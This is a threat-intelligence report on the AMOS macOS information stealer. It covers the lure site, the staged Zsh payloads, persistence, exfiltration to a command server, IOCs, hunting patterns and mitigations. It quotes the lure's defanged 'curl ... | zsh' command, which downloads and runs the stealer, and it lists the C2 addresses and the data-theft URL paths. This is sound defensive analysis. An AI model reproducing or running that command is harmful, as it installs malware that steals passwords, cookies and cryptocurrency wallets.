This report details a recent analysis of the Atomic macOS (AMOS) Stealer, an evolving information-stealing malware targeting the macOS platform. Based on research from Unit 42, this threat leverages social engineering through deceptive websites that instruct users to copy and paste malicious commands into their Terminal. Once executed, the malware establishes persistence, steals sensitive data from web browsers and cryptocurrency wallets, and exfiltrates it to a command and control (C2) server.
Key findings indicate that AMOS is under active development, with its supporting infrastructure—including domains, IP addresses, and file paths—changing frequently. This dynamic nature complicates signature-based detection. The infection requires user interaction, including entering an administrative password, which underscores the critical role of user awareness and training. This analysis provides defenders with a technical breakdown of the attack chain, actionable indicators of compromise (IOCs), and recommendations for detection, hunting, and mitigation.
AMOS is an information stealer first seen advertised on Telegram in April 2024. It represents a significant and growing threat to macOS users, specifically designed to exfiltrate system information, login credentials, cookies, and data from cryptocurrency wallets. The malware is distributed through various channels, including malvertising, trojanized installers masquerading as cracked software, and deceptive websites.
This analysis focuses on an infection generated in a lab environment on August 5, 2026. The initial vector was a malicious webpage hosted on getmacouscloud[.]com, which purported to offer a “macOS toolkit.” The page instructed the user to copy a command and paste it into a macOS Terminal window. This technique, while similar in principle to ClickFix campaigns, relies on direct user action to initiate the infection chain, effectively making the user an unwitting accomplice in the compromise of their own system.
The attack chain demonstrates a multi-stage process involving social engineering, script execution, and payload delivery.
Initial Access & Execution: The user is socially engineered to visit a malicious site (getmacouscloud[.]com). The site instructs them to copy a curl command and paste it into a Terminal window. This action corresponds to MITRE ATT&CK T1204.002 - User Execution: Malicious File. The command curl hxxps[:]//ferncore13[.]com/curl/608e70d1338612686917ee5cd300ff7ed8e318dfd787a50257f92142e99bd688 | zsh downloads and pipes a Z-shell (Zsh) script for immediate execution (T1059.004 - Command and Scripting Interpreter: Unix Shell). This method of using a legitimate tool like curl is a form of Ingress Tool Transfer (T1105 - Ingress Tool Transfer).
Payload Staging: The initial Zsh script contains a Base64-encoded, GZIP-compressed payload. Upon execution, it decodes and decompresses this payload, revealing a second Zsh script. This script is responsible for downloading the primary malware component, a Mach-O binary.
Privilege Escalation & Defense Evasion: The script saves the Mach-O binary as /tmp/helper. During this process, the system prompts the user for their password. By entering the password, the user grants administrative privileges, allowing the malware to proceed with its installation and persistence mechanisms (T1548.004 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching).
Persistence: The malware establishes persistence by creating hidden files and directories. It creates a .plist file at /tmp/starter which points to a new shell script located at /Library/Application Support/.com.apple.accountsd/.service. This script is configured to run the main stealer payload, AccountsHelper. This use of a .plist file is a common persistence method on macOS, often leveraging LaunchAgents (T1543.001 - Create or Modify System Process: LaunchAgent). The use of dot-prefixed directories like .com.apple.accountsd is a technique for hiding artifacts (T1564.001 - Hide Artifacts: Hidden Files and Directories). A similar mechanism was observed in the /.com.apple.metadata.mds/ directory.
Collection: Once active, AMOS scans the system for sensitive information. It targets various applications, particularly web browsers and cryptocurrency wallets. The collected data is staged in the /tmp directory and compressed into a single archive named out.zip (T1560.001 - Archive Collected Data: Archive via Utility). The structure of out.zip indicates searches for credentials, cookies, and wallet files (T1555 - Credentials from Password Stores).
Command & Control (C2) and Exfiltration: The malware exfiltrates the out.zip archive via HTTP POST requests to a C2 server, which in this case was 161.35.146[.]120. The URL paths used in the POST requests (/passwords, /wallets, /cookies) clearly indicate the type of data being stolen. This aligns with T1041 - Exfiltration Over C2 Channel using web protocols (T1071.001 - Application Layer Protocol: Web Protocols).
The primary impact of an AMOS infection is the theft of sensitive data, leading to significant risks for both individuals and organizations:
Because the malware requires administrative privileges to install fully, its potential impact is high, as it can achieve deep system access and persistence.
The following indicators were observed in the analysis from early August 2026. Note that this infrastructure is likely no longer active.
getmacouscloud[.]comferncore13[.]comhxxps[:]//ferncore13[.]com/curl/608e70d1338612686917ee5cd300ff7ed8e318dfd787a50257f92142e99bd688161.35.146[.]120188.166.78[.]138/tmp/helper/tmp/starter/Library/Application Support/.com.apple.accountsd/.service/Library/Application Support/.com.apple.accountsd/AccountsHelper/Library/Application Support/.com.apple.metadata.mds/.mdworker/Library/Application Support/.com.apple.metadata.mds/mdworker_sharedout.zipSecurity teams can hunt for potentially related activity by looking for the following patterns:
curl .* | .*shsh, bash, or zsh.zsh/tmp/*.zip/tmp directory, which is a common staging area for exfiltration.HTTP POST/Library/Application Support/.*/Library/Application Support/.Defenders should implement a multi-layered detection strategy:
Endpoint Detection and Response (EDR): Deploy EDR solutions capable of monitoring macOS process execution and shell commands. Create detection rules for the curl | sh pattern, especially when initiated from a browser or other non-standard application. Monitor for processes that create hidden files in /Library/Application Support/ or write executable files to /tmp/. D3FEND's Process Analysis (D3-PA) is a key technique here.
Network Monitoring: Monitor outbound HTTP/S traffic for connections to known malicious IPs and domains. Use Network Traffic Analysis (D3-NTA) to baseline normal traffic and alert on anomalies, such as large uploads via POST requests to uncategorized IP addresses.
Log Analysis: Collect and analyze shell history logs (e.g., .zsh_history, .bash_history) for suspicious commands. Review logs for sudo events and correlate them with subsequent file creation or network activity.
Threat Hunting: Proactively hunt for the IOCs and observables listed above. Query endpoints for the presence of the specified file paths and look for evidence of the described persistence mechanisms.
Train users to recognize social engineering attempts and the dangers of running commands from untrusted sources.
Enforce the principle of least privilege. Standard user accounts should not have administrative rights, which would prevent this malware's persistence mechanism from working.
Implement application control policies to prevent the execution of unauthorized scripts and binaries downloaded from the internet.
Use egress filtering to block outbound connections to known malicious C2 servers and uncategorized IP addresses.
Mapped D3FEND Techniques:
Use endpoint protection with behavioral analysis to detect and block malicious activities, even if the file hashes are new.
Implement an Endpoint Detection and Response (EDR) solution on all macOS endpoints to perform continuous process analysis. Configure specific behavioral rules to detect the AMOS stealer's attack chain. A key rule should be to alert on any process spawned from a shell (zsh, bash) that was itself a child of a web browser process. Furthermore, create a high-severity alert for the specific sequence: curl execution piped to a shell, followed by the creation of files in /tmp, and culminating in the execution of a new binary from that directory. This requires establishing a baseline of normal process parent-child relationships. The EDR should also monitor for the creation of .plist files in user and system library folders, which AMOS uses for persistence. Correlating these process events with subsequent outbound network connections to new IP addresses can provide a high-confidence indicator of a successful AMOS infection.
Deploy network security monitoring tools to analyze outbound traffic from macOS endpoints. Since AMOS exfiltrates data via HTTP POST requests, focus on analyzing traffic to IP addresses rather than just domain names, as the C2 infrastructure changes rapidly. Establish a baseline for normal outbound HTTP/S traffic volume and patterns for endpoints. Configure alerts for significant deviations, such as large uploads from a user workstation to an uncategorized or newly observed IP address. Use SSL/TLS inspection where possible to gain visibility into the URL paths, looking for suspicious patterns like /passwords, /wallets, or /cookies as seen in the AMOS C2 communication. Integrating a threat intelligence feed of known malicious IPs can provide immediate blocking, but behavioral analysis based on traffic anomalies will be more effective against AMOS's evolving infrastructure.
To counter threats like AMOS that drop new binaries, implement a policy of executable allowlisting on critical macOS systems. This D3FEND technique involves creating a strict policy that only permits signed and approved applications and scripts to run. For the AMOS attack chain, this would prevent the downloaded helper Mach-O binary from executing, as its signature would be unknown and untrusted. This is a powerful control but requires significant operational overhead to manage the allowlist. A more practical first step could be to use macOS's built-in tools to block the execution of unsigned applications and scripts. Additionally, configure policies to prevent shell interpreters (zsh, bash) from being launched with arguments passed directly from untrusted sources like web browsers. This would break the initial curl | zsh execution vector.
AMOS stealer was first advertised on Telegram channels.
Unit 42 observed a previous AMOS infection with C2 server at 188.166.78.138.
The specific AMOS infection analyzed in the Unit 42 report occurred, using C2 server 161.35.146.120.
Unit 42 published their analysis of the AMOS stealer activity.

Cybersecurity professional with over 10 years of specialized experience in security operations, threat intelligence, incident response, and security automation. Expertise spans SOAR/XSOAR orchestration, threat intelligence platforms, SIEM/UEBA analytics, and building cyber fusion centers. Background includes technical enablement, solution architecture for enterprise and government clients, and implementing security automation workflows across IR, TIP, and SOC use cases.
CyberNetSec.io uses automation to assist source monitoring, deduplication, observable extraction, and structured intelligence generation. Published analysis follows human-defined editorial standards and adds defensive context including MITRE ATT&CK, D3FEND, STIX, and Sigma where applicable. Read our editorial policy.
Help others stay informed about cybersecurity threats
Every tactic, technique, and sub-technique used in this threat has been identified and mapped to the MITRE ATT&CK framework for consistent, actionable threat language.
Observables and indicators of compromise (IOCs) have been extracted and cataloged. Risk has been assessed and correlated with known threat actors and historical campaigns.
Detection rules, incident response steps, and D3FEND-aligned mitigation strategies are included so your team can act on this intelligence immediately.
Structured threat data is packaged as a STIX 2.1 bundle and can be visualized as an interactive graph — relationships between actors, malware, techniques, and indicators.
Sigma detection rules are derived from the threat techniques in this article and can be converted for deployment across any major SIEM or EDR platform.